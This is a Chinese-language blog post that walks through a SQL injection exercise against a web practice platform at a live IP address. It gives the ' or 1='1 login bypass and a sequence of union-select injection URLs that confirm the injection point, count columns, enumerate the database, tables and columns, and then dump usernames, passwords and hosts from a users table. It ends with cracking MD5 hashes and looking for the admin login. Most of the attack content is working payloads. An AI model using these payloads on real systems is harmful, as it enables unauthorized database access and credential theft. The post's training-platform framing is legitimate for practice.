SQL注入获取用户名密码练习(integer型注入)

本文详细介绍了如何通过SQL注入攻击获取数据库信息,包括确认注入点、查询数据库结构、表名、字段名及内容的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

万能密码 ' or 1='1

select name,pass from tbAdmin where name=‘admin’ and pass=‘123456’

select name,pass from tbAdmin where name=’’ or 1=‘1’ and pass=‘123456’
1=‘1’ 永远为真

 

这个也是OWASP放出来的一个web安全学习平台,PHP+MySQL,主要有SQL注入练习及简单绕过

地址:http://43.247.91.228:83/

1、找测试注入点

http://43.247.91.228:83/content-1/index.php?id=0

2、测试加 ' 号,页面返回错误(可能存在注入点)

3、确认是否存在注入点

http://43.247.91.228:83/content-1/index.php?id=0 and 1=1 页面返回正常

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 页面返回错误

证明存在注入点

4、查询当前表有多少列,用order by测试,切换数字,直到不出错为止,测试结果为

http://43.247.91.228:83/content-1/index.php?id=0  order by 8

5、测试哪列数据有回显(1,2,3列都可以显示)

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,2,3,4,5,6,7,8

5、查询数据库相关信息

查询当前用户权限 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,user(),3,4,5,6,7,8

查询当前数据库版本 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,version(),3,4,5,6,7,8

查询当前数据库名称  http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,database(),3,4,5,6,7,8

6、查询inject数据库里的表名(将表名'inject'进行ANSI编码结果为%27%69%6E%6A%65%63%74%27)表名为users

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27

注:这里可以使用 limit a,1 测试有多少个表,a表示表里的第几行(这里测试只有一个users表)

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27 limit 0,1 --

7、查询users表里的字段名(将表名'users'进行ANSI编码结果为%27%75%73%65%72%73%27)

users表的字段名分别为 idusers,name,email,password,ua,ref,host,lang

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....7,网址最后要加上注释符  --

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,column_name,3 ,4,5,6,7,8 from information_schema.columns where table_name = %27%75%73%65%72%73%27 limit 0,1--

8、查询字段里的内容

在这里已经知道当前数据库是inject,有users表,表里有 idusers,name,email,password,ua,ref,host,lang 8个字段,这时可以使用,1,2,3来显示需要查看的字段内容,这里演示,name,password,host

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select name, password,host,4,5,6,7,8 from users limit 0,1--

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....直到出错为止,就可以遍历出所有用户,网址最后要加上注释符  --

这里是密码是明码的用户

这里是密码是hash值的用户,登录MD5网站解密即可

解密结果

9、到这里找寻用户名,密码已经结束,找寻后台登录即可

 

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值